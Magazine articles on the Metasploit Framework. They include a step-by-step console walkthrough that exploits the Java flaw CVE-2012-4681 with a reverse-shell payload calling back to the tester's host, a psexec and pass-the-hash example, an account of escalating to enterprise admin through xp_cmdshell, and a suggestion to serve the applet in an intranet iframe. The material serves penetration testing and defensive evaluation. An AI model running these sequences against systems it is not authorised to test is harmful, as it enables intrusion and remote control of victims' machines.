Metasploit for Defense Metasploit has long since become the industry standard for offensive security and penetration testing. It is robust, flexible, and reliable, all of which make it a favorite among practitioners. Using Metasploit for defensive tasks may seem a little counter intuitive. Why would a network security engineer, say, be interested in an attack tool? There are many good answers to these queries. In this article I’ll propose rather timely example. Recently, Oracle’s Java implementation was demonstrated to have a vulnerability that allowed anyone using a web browser to be compromised, remotely, simply by viewing a web page (CVE-2012-4681). This vulnerability allowed a maliciously crafted Java applet to compromise the Java Virtual Machine (JVM) on client machines, and execute arbitrary code as the currently logged on user. This was extremely damaging, because at the time the vulnerability became public, there was no supported fix from Oracle (the flaw was a 0-day, that is a vulnerability for which no fix exists). This meant that any attacker leveraging the exploit could take over a victim machine and there was little defenders could do. In short order a Metasploit module was released. As expected, there was much wailing and gnashing of teeth amongst network security defense professionals. When new vulnerabilities become public the first thing organizations usually want to measure is their own level of exposure. Without specific detail it is difficult to justify expense to

TBO 01/2013

remediate a problem. For instance, with the Java vulnerability, would it be worth the effort to craft intrusion detection alerts so that security staff were notified whenever a Java malicious applet was accessed, and if so how would one determine how to write such a rule. Similarly an organization might want to decide if they needed to turn off Java in all web browsers, and how that effort would measure against the potential risk. Knowing the level of exposure and being able to concretely address concerns from management about a particular risk is an extremely difficult task for most defenders. Tools like Metasploit allow defenders to test exploits against their current system builds and answer these questions. By using a tool that allows defenders to actively gauge the effectiveness of countermeasures, the likelihood of exploit success, and the impact of such an exploit can help organizations craft measured, effective responses to vulnerability announcements like CVE-2012-4681.

Getting Started with Metasploit Metasploit is a rather large and complex software program. It contains a number of tools and can be extremely intimidating for a beginner. It is not a tool that is inviting to the casual user in order to develop familiarity. Rather, operators must understand Metasploit, its proper use, capabilities, and limitations, in order to get maximum value from the framework. Getting started with Metasploit begins with downloading the latest version of the framework from Metasploit.com. There are two versions available, a free and a commercial version. Metasploit was completely free and open source until it was acquired by Rapid7, which then began offering a commercial version of the tool with extended capabilities and support. The free version remains the flagship, however, so there is no need to fear that using the free version will somehow hamper testing capabilities. The commercial version includes extra features for enterprises, so if you plan to use Metasploit on any sort of regular basis it is worth investigating.

plete versions of Java, Ruby, and PostgreSQL as well as Metasploit. These technologies support the framework and the various tools that come with Metasploit. Most of this should occur behind the scenes.

Installation The Metasploit download is fairly straightforward. You can install Metasploit on Windows or Linux, or even use it in a pre-configured environment such as on the BackTrack Linux distribution. For the purposes of this article we’ll explore installation of Metasploit on a Windows XP system as a sort of lowest common denominator. However, using the tools in Metasploit that require integration with separate technologies (such as Java or PostgreSQL) may be easier with a preconfigured distribution. To get started point a browser at the Metasploit website (http://www.metasploit.com), navigate to the download section, and choose the version of Metasploit that fits your operating system (Figure 1). Once the download is complete be aware that you may get a number of warnings about Metasploit from your browser, operating system, and/or anti-virus software. Metasploit contains exploit code, by definition it is hostile, so your machine is right to identify this code as malicious. If you don’t get any warnings that is likely an indication that your computer’s defenses may need a little attention (Figure 2). Open the downloaded installer and run it on your machine. You may need to add an exception to your

Architecture Metasploit is a complete framework, programmed in Ruby. Don’t’ worry if you don’t know how to program, or how to code in Ruby, the framework takes care of most of the common tasks most testers would be interested in. Metasploit includes a number of additional tools in addition to the framework itself. You’ll notice if you look in the install directory that there are com-

www.hakin9.org/en

Figure 1. The Metasploit download site

Figure 2. Installation warning of exploits

35

A GUIDE TO METASPLOIT

Up and Running

is the console, which you can find under Start -> Metasploit -> Metasploit Console. This is the command line tool that you use to interact with the framework. The other two common ways to connect are Armitage, which is a Java based GUI tool for using Metasploit, MSFGUI, and the Web UI. I have found that the console is by far the most direct, efficient, and reliable way to interact with Metasploit. In fact, some exploits that seem to work perfectly in the console have not functioned properly when started from the Web UI (such as the Java CVE-2012-4681 exploit) (Figure 4). Once installed, Metasploit can be utilized in a number of ways. The most direct way to interact with Metasploit is via the command line, using the msfconsole. The console can be intimidating for novice users, but it exposes all of the power and capabilities of the Metasploit framework, so it is worth exploring in order to develop proficiency.

There are several common ways to interact with the framework, all included in the install. The first

Getting Started

anti-virus software to exclude the Metasploit installation directory (C:\metasploit) in order for the install to complete. Similarly, you may get warnings that your machines firewall could interfere with the operation of Metasploit. This is mainly due to the fact that many Metasploit payloads require that targets be able to connect back to your machine. Careful manipulation of your firewall to allow these ports is a wiser approach than disabling the firewall entirely, but be aware that this could cause issues. Once you have stepped through any warnings begin the installer. Installation will require you to accept the license agreement, decide on an installation directory, choose an SSL port on which to serve Metasploit, decide on a name for the server and the server’s certificate validation timespan. In most cases the default options for the installation are sufficient (Figure 3).

Figure 3. Metasploit installing

Figure 4. The Metasploit console

36

Getting started with the Metasploit Console can be somewhat perplexing. There is no easy way to navigate other than by using text based commands and some commands are extremely clunky (for instance, some commands might produce a large volume of output that will flash by the screen, but the scroll history of the Console won’t let you scroll up and actually see all the output). Despite these shortcomings, the full power and flexibility of Metsaploit is available from the Console, so developing proficiency is time well spent. It is worth being aware that this may take some investment, however, to avoid initial frustration and fatigue with the tool. Before you get started with the Console it is important to make sure that you update Metasploit so that you’re using the latest version of the framework

Figure 5. Metasploit update downloads new modules

TBO 01/2013

with the newest exploits. The installer downloaded from the website may not include recently released exploit modules. The update program can be found under Start -> Metasploit -> Framework -> Framework Update. This will open a console window and check for the newest version of the software (Figure 5). Once you’re sure your version of the framework is up to date you can get started with the Console. The first command that you should learn in the Console is the ‘help’ command. This will list out all of the commands that you can use in the console. There are quite a number of commands. To get more information about a command you can type ‘help’ followed by the command you’re interested in (such as ‘help banner’) (Figure 6). To find exploits you’ll need to utilize the ‘search’ command. To list all the exploit modules in Metasploit you can simply type ‘show’, but as mentioned before, this is of little use since the Console will display far too many modules for the interface to actually display. Instead, try using the ‘search’ command and searching for Java vulnerabilities by typing ‘search java’. You’ll notice that even just searching for this one phrase lists quite a number of results. When searching for Java modules one also quickly notices that there are different types of modules listed – auxiliary, exploit, and payload. We’ll be interested in the exploit modules in order to craft a malicious Java applet, and the payload modules to craft our malware payload that will execute whenever a vulnerable machine accesses the applet. To search for exploits specific to the vulnerability we want to test type ‘search cve:2012-4681’. Alternatively you can use the Metasploit website to search for exploits and find useful descriptions, including usage documentation at http://www.metasploit. com/modules (Figure 7).

Crafting the Exploit To begin building our exploit we’ll have to tell Metasploit which module to use. To do this simply type ‘use’ followed by the name of the exploit (remember, you can type ‘help use’ to get an example of how to execute the ‘use’ command). In this case we’ll type in ‘use exploit/multi/browser/java_jre17_ exec’ in order to start using the exploit. You’ll notice that the Console prompt changes so that you know which exploit you’re using (Figure 8). Now that we’re using the desired exploit we have to provide instructions for Metasploit to craft our malicious payload. So far Metasploit knows we want to use the Java 1.7 vulnerability to craft an exploit, but once Metasploit takes advantage of the vulnerability it needs to understand what instructions we want to execute on the victim computer. For this example, we will create a payload that spawns a reverse shell. A reverse shell is a command prompt that we can access locally, but which actually executes commands on the target system. We can choose a number of payloads that we can explore using the ‘show payloads’ command. To select the payload type in ‘set PAYLOAD java/ shell/reverse_tcp’ and hit enter. This will set up a payload in the applet that will execute and “shovel” a shell over TCP back to our machine. In order for the payload to work we need to tell Metasploit the IP address of the machine to connect back to. To do this type in ‘set LHOST [ip_address]’ where [ip_address] is the IP of your machine. Once this information is entered we’re ready to begin. Simply type in ‘exploit’ to start the exploit (which spawns a web server listening at a specific URL detailed

Figure 7. Using the Metasploit Console search command

Figure 6. Metasploit Console help command

www.hakin9.org/en

Figure 8. Metasploit Console prompt changes to show the exploit

37

A GUIDE TO METASPLOIT in the Console output that will deliver our payload when accessed) (Figure 9).

Testing the Exploit Setting up a test machine may be a little tricky. You’ll have to ensure that Java is installed on the machine, but you need an older, vulnerable version. Older versions of Java are available from Oracle, for testing purposes. You can find older versions at http://www.oracle.com/technetwork/java/ archive-139210.html or generally looking for Java Downloads and then following the link to Previous Releases. Using Java 1.7.0_6 should be sufficient. To determine the version of Java you have installed type ‘java -version’ at the command line. In your test machine, pull up a web browser and type in the address of the Metasploit server. This is a somewhat contrived way to access the malicious applet. In the wild, applets such as this are generally included in hidden iframe tags that are inserted into otherwise innocuous web pages. The exploit

38

can be further hidden by obfuscating the reference using JavaScript and functions that encode and decode data so that anyone observing the HTML source code of an infected web page would see nothing but gibberish code that web browsers can easily decode and execute but which is more difficult for human eyes to parse (Figure 10). Calling the URL from your test machine should only result in a blank screen (or in this case a warning that the Java plugin is out of date, which, kudos to Oracle, should nag most users into updating). The only indication that the exploit has been successful will appear in the Metasploit Console (Figure 11). Once you see the indication that the stage has been sent you can check to see if a session is available. To do this, in the Console, hit enter to get back to a prompt. Next, type in ‘sessions’ to see the active sessions that are available. You should see an indication that the reverse shell is up and listening.

Figure 9. Metasploit exploit started

Figure 11. Metasploit console shows the target has been exploited

Figure 10. Vulnerable machine being exploited via malicious Java applet

Figure 12. Metasploit shows the actively exploited machines as sessions

TBO 01/2013

Note the ‘Id’ of the session, as you need this information to connect to the session (Figure 12). Once a session is established we can interact with the session by typing in ‘sessions -i [id]’ where [id] is the id number noted previously. There are a number of session commands that you can explore using the ‘help sessions’ command. As soon as you enter interactive mode you’ll notice the command prompt will change to the familiar MS-DOS prompt and you can type commands as though you were logged into the target computer (Figure 13).

Production Use Establishing a proof of concept is useful in confirming that your Metasploit exploit will actually work. Putting it into practice in the wild is the next step. You’ll want to have Metasploit installed on a machine that is accessible in your environment, and then start up the exploit so it is serving from the server. Next, placing a reference to the Metasploit applet in an iFrame on an intranet site or other page that you know users in your environment will access will allow you to test infection rates. Checking the console periodically will allow you to see IP addresses of users who are vulnerable to the exploit. A better plan is to simply observe what configurations fall victim to the Metasploit exploit and what configurations do not, then adjust your production systems to protect them. Many antivirus products will detect the Metasploit payload and stop it, which is reassuring in that you can be confident that your AV solution will detect Metasploit attacks. A better solution is a configuration that denies Java from actually attempting to execute the malicious applet. For instance, white listing sites upon which Java can execute can greatly limit scope.

Conclusions The ability to test exploits against systems in your environment is a tremendous advantage. Using Metasploit you can easily, and extremely accurately gauge your exposure to compromise. The Java 1.7 vulnerability (CVE-2012-4681) is just one example. Metasploit includes hundreds of modules, including some that will test misconfiguration in addition to vulnerabilities. There are modules that will perform brute force attacks to do things like test the strength of passwords on your SQL servers in addition to target enumeration modules that will perform ping sweeps, find hosts on your network vulnerable to idle scanning, and more. Hopefully this brief tutorial has convinced you that Metasploit has value to system defenders as well as penetration testers. Simulating an attack is a great way to expose vulnerabilities in your networks, but it’s also a good way to test defensive countermeasures. Using a tool like Metasploit, defenders can test the value of defenses and deploy them with confidence. It will also allow defenders to speak about the likelihood of specific types of attacks penetrating defenses and compromising systems. Additionally, using Metasploit, defenders can “footprint” attacks and identify patterns that result from various classes of attacks, and tune not only their prevention countermeasures, but also their detection measures (could your network spot a reverse shell spawning from one of the internal workstations?). For all of these reasons Metasploit should definitely be a part of any internal security team’s toolkit.

JUSTIN C. KLEIN KEANE

Figure 13. Using Metasploit to type commands on the exploited target

www.hakin9.org/en

Justin C. Klein Keane is an information security specialist working at the University of Pennsylvania. Mr. Klein Keane holds a Masters degree in Computers and Information Technology and is an accomplished security researcher. Mr. Klein Keane prefers to work with open source technologies and has made numerous contributions to the open source community in the form of vulnerability reports, most notably for the open source content management system Drupal. Mr. Klein Keane’s performs penetration testing and proof of concept exploitation frequently and regularly uses Metasploit to accurately model organizational risk in the face of emerging threats. Mr. Klein Keane writes irregularly for his website www.MadIrish.net.

39

A GUIDE TO METASPLOIT

My Experiences with the Metasploit Framework From N00b to Contributor Ever wanted a tour of the Metasploit Framework (MSF)? If you have basic command line skills, and a working knowledge of networking and how hosts are compromised, you can take a guided tour from someone who started as a tourist and ended up as a tour guide. You’ll see how you can use MSF for all sorts of tasks and learn to write your own magic for yourself or to share. The tour doesn’t make every possible stop, but you’ll be informed, entertained, and well on your way to mastering Metasploit.

T

his article is a tour. A tour of the Metasploit Framework (MSF) and my experiences with it. You’ll see how I went from being a newbie (to both MSF and infosec), to a competent user, to a reasonably competent (At least that’s the way I fancy myself) MSF contributor. This article is not meant to be an exhaustive guide. When you’re done reading this article, I hope you are, at a minimum, convinced that you can easily use MSF to solve a wide variety of problems from any information security domain (with or without writing any real code). Ideally you’ll feel informed, entertained, and convinced that you can become a Metasploit master, as well as contribute to MSF and its active community. As with any tour, we cannot stop at every possible point of interest, and you are at the mercy of the tour guide for funny anecdotes and the exact path from stop to stop.

Self.about # about the tour guide First, let’s talk about me. Me, me, me, me (My last name is Smith after all. Plus, I went as Agent Smith for Halloween once. If you still don’t understand this footnote, I hereby revoke your hacker credentials or hacker application). I introduce myself, in some length, not because I think you need to know me, but rather so you understand where I’m coming from, how my past experiences have colored my view of the problem and solution spaces, and to demonstrate that your background

40

and age do not really matter if you have passion. I studied Aeronautical Engineering. I took one C class and an embedded control class where we used C++. Other than that, and one brutal “numerical computing” class, I didn’t study the science of computers. I did have two older brothers who studied computer science, which led me to avoid the field for fear of following too closely in my siblings’ footsteps. I also had a computer science roommate in college. I learned not to ask Comp Sci majors for help (My theory: there are two types of computer scientists: those that like computers and those that don’t. More specifically, there are those that enjoy knowing how computers and software work and those that do not. For the record, I don’t want to help you fix your computer either) with my computer (Especially your blazingly fast Pentium II 250 MHz laptop running Windows 95 (my first computer)). Bottom line, I couldn’t find much help, so I decided to help myself, but it would be years before I became terribly capable. “Scrubbing” through the subsequent decade: being in command of 50 nuclear ICBMs on 11 Sep 2001, multiple knee surgeries, reading (most of) “Upgrading and Repairing PCs, 11th Ed.”, and completely “lucking into” a job pentesting military networks and systems. It’s here that I realized how little I actually knew. It’s here that I got some of those certifications that our industry loves to hate. I will only say that I was very excited to get

TBO 01/2013

the certs at that time, but I have since come to only truly respect those certifications which have a hands-on certification exam. I like to know that someone can DO something, not just know something. However, I enjoy learning, so I’ll usually attend any class to which someone is willing to send me. So, with this backdrop, our tour arrives at its first stop, my first “pentest” (They were really vulnerability assessments with some pentesting aspects. Let’s not argue over vocabulary, especially since many terms are overloaded & overused, plus the military has even more (blue team, red team etc.). Let’s call them pentests and discuss more important things like Vi[m] vs. Emacs) and my first exposure to the Metasploit Framework. “SA, no password” anyone? (http://support.microsoft.com/kb/313418 – “allows vulnerability to a worm.” Wat? Who writes like this? Sidestepping the suspect grammar, how about ‘allows utter pwnage’?) As the rest of the assessment team was furiously mashing the keyboards, I was afraid to attempt much without specific direction for fear of doing catastrophically bad things to the network. Well, there was another “new guy” on the team. He was new to our unit, but, as it turns out, he was not remotely new to the game. He is known most commonly, I would find out later, as “MC”, but Mario was “hacking the Gibson (If you didn’t get that joke, go watch “Hackers” again)” years before he helped me. Mario noticed I was a bit idle, and said “try this...” I’ll paraphrase the whole conversation with some code: for IP in `cat ips.txt`; do ./msfcli mc_magical_ script RHOST=$IP C;done

I’m pretty sure Mario thought I was mentally challenged as I asked, Meta-what? What’s that? Why do I need the “./” part again? What’s the looping syntax? How do I get this script into my Metasploit installation? Now, in my defense, no one on the team, that I know of, had heard of Metasploit, or at least no one was using it. This is Metasploit 2, the one written in Perl (http://www.metasploit.com/about/history/). Mario had written this module which checked for ‘SA’ and a null password for Microsoft SQL servers, which at the time were installed that way by default by various things, most notoriously MS-SQL itself, and quietly by Visio. Summarizing, we found a handful of SQL servers with this vulnerability (in a ~20k-node network), connected to one of the servers, ran xp_cmdshell, added ourselves as an admin user, pushed admin tools, queried the domain controller for do-

www.hakin9.org/en

main admins, and low and behold, each SQL server had an SQL account which was a member of the ‘Enterprise Admins’ group. We impersonated that access token and boom, enterprise admin.. We went from an unprivileged physical presence on the network to enterprise admin (so we had keys to all the kingdoms) in 30 minutes. We later showed them our 5-min movie version. I learned many lessons that week (Some others: MC = smart, I like scripting, I like BASH, software vendors sometimes do stupid things), but chiefly that Metasploit was cool (Yes, there were many ways this task could have been done without Metasploit). I looked into “this Metasploit thing” and I decided I liked the power, flexibility, and scriptability. I was not really fluent in any particular language, but I knew I loved to automate tasks, and I hated compiling, so I started to learn Perl. Shortly thereafter, Metasploit converted to Ruby and I was put into a management role and my learning time became very limited. When I inquired about (stack-based) buffer overflows, Mario said (paraphrased): “Try this, 192.168.100.17, port 6666. Go.” I made some progress, after some help, but soon I was too busy for additional learning, and not long after, I was out of the military and looking for a job. I knew one thing: I wanted to do technical work and I was fortunate to get a job (At the Johns Hopkins University Applied Physics Laboratory (JHUAPL) in Laurel, MD. JHUAPL does some amazing research in and outside information security (www. jhuapl.edu)) where my duties varied from administering test labs, performing pentesting and vulnerability assessments, and writing many scripts (Over 100 for one particular year-long project). Most importantly, I was free to solve problems in my own way and I was learning MSF in my free time. I started to use MSF to solve problems...unconventionally. In order to describe what I did, you need to understand Metasploit, what it is, what it isn’t, and most importantly, what it can be for you if you apply some effort and creativity. What is Metasploit? Metasploit is first and foremost, an exploit development framework. However, its utility as a pentesting framework is undeniable, massive, and growing everyday; and is by far the easiest area for contributors to begin making an impact. In my observations, the majority of contributions to MSF are to what I would call the pentesting side vs the exploit side (which I generally consider to be exploit modules and supporting code such as encoders etc.). Metasploit is NOT a vulnerability scanner, there are other tools for that, many of which Metasploit integrates with nicely. A

41

A GUIDE TO METASPLOIT “pentesting and exploit development framework” is the most common description of MSF, but you can do all sorts of tasks including defensive ones. You can use it as a remote administration tool, or for host forensics, network auditing, etc., etc. Before we can discuss some of these uses however, we need to discuss the underlying architecture and usage of MSF.

pretty_print(framework.new) # The Metasploit Framework Architecture The Metasploit Framework’s overall architecture consists mainly of modules, libraries, and interfaces. There are also tools and plugins which leverage or extend the framework in some way. For example, the pattern_create tool creates a nonrepeating string pattern which is most frequently used during exploit development. pattern_create leverages text libraries contained in the “Rex” (or Ruby EXploitation) family of libraries (see Figure 1). Whereas, the “sounds” plugin extends the framework and adds sounds for various framework events such as session creation (successful exploitation). The majority of included plugins extend a specific interface, usually the msfconsole interface, which is the most popular interactive interface and therefore has proportionally more plugins written for it. Later, we will discuss msfconsole in depth. The other interfaces (CLI or command-line, GUI or graphical, and RPC or remote procedure call) get less usage and attention these days, therefore we won’t discuss them in

depth, however RPC is an excellent way to essentially run a headless Metasploit instance and control it locally or remotely with an entirely separate application or service. The MSF libraries provide the majority of the heavy-lifting. You do not have to concern yourself with most of the libraries until you are ready to contribute beyond the module level. The base of the framework is a number of modules which are thematically grouped as follows.

modules.each {|module| puts module. info} # Module Descriptions There are 6 types of modules, exploit, payload, encoder, NOP, aux, and post, which we will discuss in a moment. It’s easiest to understand the modules based on their role in the workflow. A common workflow will often include the following pattern, or a subset of it: reconnaissance, exploitation, post exploitation, and further reconnaissance based on the new data and host access. Metasploit modules play mostly obvious roles in your workflows (Figure 2). However, some modules are most often used in the background. Most likely, you will interact with the 6 modules directly, or indirectly, in the following manner. You will probably first use an exploit module (assuming you already have a target in mind), wherein you will set a payload module and sometimes an encoder module. An encoder is used to rid a payload of any characters which may cause issues with successful payload execution, such as null (/x00). Encoders also assist in IDS/IPS avoid-

Figure 1. The canonical depiction of the Metasploit Framework architecture

42

TBO 01/2013

A GUIDE TO METASPLOIT ance, but they are NOT meant for anti-virus avoidance when writing a payload to disc in executable format (Payload != exectable. For an excellent description of how Metasploit generates executables see: http://www.scriptjunkie.us/2011/04/why-encoding-does-not-matter-and-how-metasploit-generates-exes/). Normally there is no need to write the payload to disc and AV avoidance is outside the scope of this article. The encoder module may or may not call on a NOP module to assist in adding entropy to no-op assembly instructions. When an exploit is successfully executed, the payload creates a “session” (there are some exceptions). The details of that session are payload-dependent. A session is not a module, but rather an MSF object, linking your Metasploit instance to the target, with which you or the framework can interact. Again, in most common workflows, the next event is running a post module on the session. It’s important to understand that exploit modules execute payloads which create sessions, and post modules run on those sessions. You can’t run a post module without at least one established session. Lastly auxiliary (aux) modules are run without a session (They can, however, be run through an existing session. This is known as pivoting and is essential for communicating with hosts which are not reachable directly from the Metasploit instance (i.e. the attacker). (continued) See the meterpreter ‘route’ command and the autoroute post module for more information), they are generally used for discovery, port scanning, and brute forcing etc.

The case of brute forcing is one of the few times a session can result from a non-exploit module (that feature can be disabled, Figure 3). Writing your own module is the easiest place to start adding functionality to the framework. Most people start by writing their own post modules because they often want to take some specific action on a host which is not already supported. By writing a module, the task becomes repeatable and easily automated. Additionally, there are so many existing post modules you can usually leverage one of them as a starting point. While writing a module is a great place to start adding functionality to the framework, it’s not nearly as easy as a resource file. Creating or writing a resource script (or file) is the simplest place you can start to automate the framework (The day I learned to use resource files is the day I switched full time from msfcli to msfconsole). Resource scripts are most commonly used to automate msfconsole in some way, and they are extremely easy to make and modify, once you understand basic msfconsole usage so...

msfconsole.usage # Using the Metasploit Console Like any tool, the Metasploit Framework has a learning curve, but for most tasks, it is not steep, assuming the user is a pentester or has a basic exploitation and networking background. I’m assuming anyone reading this article is capable of navigating to www.metasploit.com, downloading the latest installer, and running it; therefore we will not

Figure 2. Common user workflow

44

TBO 01/2013

discuss installation except to say that the installer is highly recommended as it carries all the dependencies and is the quickest way to get Metasploit up and running, especially if you want to use the builtin database. Most users will interact with the framework via msfconsole, or simply the console. The console is invoked by running ‘msfconsole’ at the command line. Like most command-line applications and MSF commands, you can add ‘-h’ to see possible options. In most situations, the msfconsole options aren’t necessary, but they become very useful as a user progresses in skill, begins developing, or runs into problems (Figure 4). The console is command-line driven, but there’s always help you can consult without leaving the console itself. For help enter ‘help’ or simply ‘?’. For help with a specific command, run ‘help cmdname’ (usually cmdname -h will work as well, but not always) (You can even run ‘help help’, but you’ll find you won’t get much sympathy...). There are numerous commands which are grouped by theme, but commonly used commands can be found in the “Core Commands” group, and we’ll focus on some of those commands now (Table 1). First, a note on tab completion...USE IT. Nearly everything in msfconsole tab completes (You can even tab complete with regular expressions, try

Table 1. Commonly used msfconsole commands (not exhaustive)

Command Description ?/help

Help menu

back

Move back from the current context

exit/quit

Exit the console

info

Displays information about one or more modules

makerc

Save commands entered since start to a file

previous

Sets the previously loaded module as the current module

resource

Run the commands stored in a file

save

Saves the active datastores

search

Searches module names and descriptions

sessions

Dump session listings and display information about sessions

set

Sets a variable to a value

setg

Sets a global variable to a value

show

Displays modules of a given type, or all modules

unset

Unsets one or more variables

unsetg

Unsets one or more global variables

use

Selects a module by name

Figure 3. Common user interaction with module workflow

www.hakin9.org/en

45

A GUIDE TO METASPLOIT ‘use .*psexec’). Tab completion saves time and frustration (although the first time you use tab completion there can be a delay while the cache is built). The thing to remember is: Tab completion is your friend! By far the most commonly used commands are ‘use’, ‘show’, and ‘set’. When you ‘use’ a module, you are selecting it as the top-level object in your workflow and msfconsole switches to a modulespecific context and exposes new commands (This contextual environment is similar in concept to that of the Cisco IOS and the Windows netsh utility). For example, running use exploit/windows/smb/ psexec will add the following commands to your environment (which as usual, can be seen by running ‘?’ or ‘help’) (Table 2). Loading other types of modules (payload, post etc.) will switch the context again and result in different added commands. Explore these new commands (especially ‘exploit’) as we will not be covering them in depth. Keep in mind however, you can

Table 2. Commands added when an exploit module is loaded

Command

Description

check

Check to see if a target is vulnerable

exploit

Launch an exploit attempt

pry

Open a Pry session on the current module

rcheck

Reloads the module and checks if the target is vulnerable

reload

Just reloads the module

rexploit

Reloads the module and launches an exploit attempt

Figure 4. The Metasploit console (msfconsole)

46

load any type of module, but depending on your situation it may not make sense to try and ‘run’ the module. For instance you can load a post module, but if you do not have a session on which to run it, you won’t get far (On the other hand, some modules, such as payload, can be run in a stand-alone manner. You can ‘use’ a payload module, ‘set’ the pertinent options, and use the ‘generate’ command to output the payload in various formats. This can also be accomplished, outside msfconsole, using ‘msfpayload’ or ‘msfvenom’). The thing to remember is: You ‘use’ a module. Once you’ve loaded a module, you can run the ‘info’ command if you aren’t sure what the module does. The info command will give you a nice description of the module. To proceed further, you normally have to set some module options and you do so using the ‘set’ command. How do you know what options are available to set? That’s where the ‘show’ command becomes your friend. ‘show -h’ reveals that ‘show’ takes various parameters, one of which is ‘options’. So running ‘show options’ while the psexec module is loaded yields: Figure 5. Notice the display shows an option’s name and current setting, whether it is required, and its description. The thing to remember is: You ‘show options’. You should examine each option to determine the correct value, keeping in mind a required option must have a value set, and use the ‘set’ command to actually enter the value into the module’s datastore. The thing to remember is: You ‘set’ options. When you set an option, you are setting a value in the module’s datastore. In our case, RHOST is the only required option without a value. If we have a Windows host at 192.168.100.102, we ‘set RHOST 192.168.100.102. You can tab complete options as long as you use the proper case, so ‘set RH’ will tab complete, but ‘set rh’ will not (although ‘set rhost 192.168.100.102’ will still set the value of RHOST). All required options are now set, but non-required options should always be examined and doing so shows that SMBPass and SMBUser are blank. That may or may not be acceptable depending on the configuration of the target host. More than likely, you need to set those options to a valid username and password for

TBO 01/2013

the target host. Most exploit modules don’t have user and password options, otherwise they would not be very effective exploits. The psexec exploit module is usually used as a follow-on attack after credentials have been obtained through other means. However, we can get a description of a module by running the ‘info’ command. Doing so on the psexec module reveals that SMBPass can also be a valid password hash (not just a cleartext password), which means we often don’t have to crack the password (This is known as “passthe-hash” and is generally only effective against Windows hosts using LM or NTLM hashing. NTLMv2 is not vulnerable to this attack but is vulnerable to varieties of SMB-relay. See http://www. skullsecurity.org/blog/2008/ms08-068-preventing-smbrelay-attacks for an excellent summary). Admittedly psexec is not the sexiest of exploits. The psexec module is considered an exploit because you can use it to spread within a Windows enterprise and because it produces a session. Choosing a good a exploit module is a common problem and question. Generally, this is where a vulnerability scanner comes into play. However, in lieu of having or using a vulnerability scanner, and assuming you have reconnoitered the target environment as best you can, experience is the best guide (Sometimes you can use an exploit module’s ‘check’ command, but few exploit modules implement it these days as vuln scanners do it better, not to mention client-sides can’t really be checked). Use your domain knowledge to pick the best attack vector. After I’ve decided on the exploitation vector (server-side vs client-side for instance), I generally select the most recent applicable exploit module (you can use release date, Microsoft security bulletin numbers etc.). However, I never run a module before at least (It’s often best to do further research. Resources

Figure 5. Showing a module’s available options

www.hakin9.org/en

are abundant: the module’s source code, operating system security bulletins, vulnerability alerts, exploit-db.com, CVEs etc) reading the description from the ‘info’ command and understanding any requirements or consequences of the module. Sometimes you’ll find that Java is required, or that the module only affects older versions of the target software, or that it causes a pop-up on the host etc. Sometimes, there are no viable exploitation vectors, so you might consider a brute force aux module. Experience plays a significant role in exploit selection, so we stick to psexec for now. So far, we have run: use exploit/windows/smb/psexec show options set RHOST 192.168.100.102 set SMBPass mypassy set SMBUser tester

So what do we do now? Recall that loading the exploit module gave us new commands, one of which is ‘exploit’. Running ‘exploit’ will result in the following if the credentials are correct (Your experience will vary depending on the exact configuration of the host (domain membership, the user’s exact access rights, etc.), especially when the host is running a version of Windows newer than Windows XP SP3 and is not joined to a domain): Figure 6. There’s a lot going on there, but most of the output is related to SMB. However, we do see “Uploading payload” and our prompt has changed to “meterpreter” which is interesting since we did not specify a payload. Well, MSF will generally pick sane defaults when it can, and in this case not only did it pick the Meterpreter (more on this payload later) payload, it also picked a local interface and port for the session’s network traffic (192.168.100.101:4444). That’s helpful, but options such as these should not be left to chance (Especially since it is well known that Metasploit defaults to using port 4444). However, since ‘show options’ did not reveal these options, they were not obvious. If the currently active meterpreter session is backgrounded using the ‘background’ command or killed using ‘exit’ or ‘quit’ (don’t forget you could use ‘help’ to see the available commands), the context returns to its original appearance. Running ‘show options’ again yields an expanded options palette with a

47

A GUIDE TO METASPLOIT new “Payload options” (Figure 7) section. To explicitly set the payload instead of accepting the default, run ‘set PAYLOAD payloadname’. How would you discover valid payload names? You can use the help features to figure it out, and there are multiple possibilities. The most obvious and direct method at this point is to run ‘show payloads’ which will only show payloads valid for the currently loaded module (psexec), but still results in a very long list. You could also use the ‘search’ command, but additional search parameters are required to narrow the search (e.g. search type:payload name:meterpreter name:windows), which still results in a long list, and can be slow. You can also discover valid payloads by tab completing them right? Hint, hint. Based on the current payload setting (windows/meterpreter/reverse_tcp) you can gather that ‘set PAY windows/’ may begin to reveal valid payloads. Often it’s easiest and quickest to use the ‘find’ or ‘grep’ (recursively) shell commands in the modules/exploits directory. Regardless, you can use the ‘info’ command to learn more about each payload. Once you pick a payload, you may want to make use of the ‘setg’ command. The ‘setg’ command sets the value of an option in a global datastore, not the local module datastore. From this point forward, any module you load which does not already have the matching option set in the local module datastore, will take on the value in the global datastore set via ‘setg’. Running ‘setg PAYLOAD payloadname’ will essentially set a global default for the

PAYLOAD option (did I mention you can tab complete that stuff?). It’s important to note however, that ‘setg’ does not override existing local module datastore settings. With experience, payloads become less daunting and tend to fall into groups such as “bind” (forward binding), “reverse” (reverse binding (The direction of the payload binding determines how the connection is initiated. Reverse payloads send the session connection to the attacker where an established server-side listener must be waiting. In this arrangement the target host becomes a network client)), unstaged and staged (Staged payloads are usually larger and are transmitted to the target host in chunks (or stages). The initial payload (the stager) allocates memory and uses the network to pull down additional stages), shell, meterpreter etc. You can run the ‘info’ command on any module using ‘info ’ (‘info payload/windows/meterpreter/ reverse_tcp’ for example), however you will probably have to interact with and explore the payload to get an idea for what it can truly do. Remember to tab complete, it’s easier and will help you avoid typing “payloads” vs “payload” etc, which can be very frustrating. Custom payloads can be employed as well using the “generic/custom” payload setting. The meterpreter family of payloads (Windows, posix, Java, php) is by far the most capable, flexible, and robust. Egyp7 has been putting in a great deal of effort on the historically overlooked posix meterpreter and it has had a lot of functionality added. Most post modules are written for the meterpreter payload family.

set PAYLOAD */ meterpreter* # The Meterpreter Payload Figure 7. Options for the windows/meterpreter/reverse_tcp payload

Metasploit Unleashed sums up meterpreter quite well: “Meterpreter, the short form of Meta-Interpreter, is an advanced, multi-faceted payload that operates via [reflective] dll injection. The Meterpreter resides completely in the memory of the remote host and leaves no traces on the hard drive, making it very difficult to detect with conventional forensic techniques. Scripts and plugins can be loaded and unloaded dynamically as required and Meterpreter development is very strong and constantly evolving...”

Figure 6. Running the psexec exploit module

48

(http://www.offensive-security.com/ metasploit-unleashed/Payload_Types. Reflective dll injection: http://blog.har-

TBO 01/2013

monysecurity.com/2008/10/new-paper-reflective-dll-injection. html)

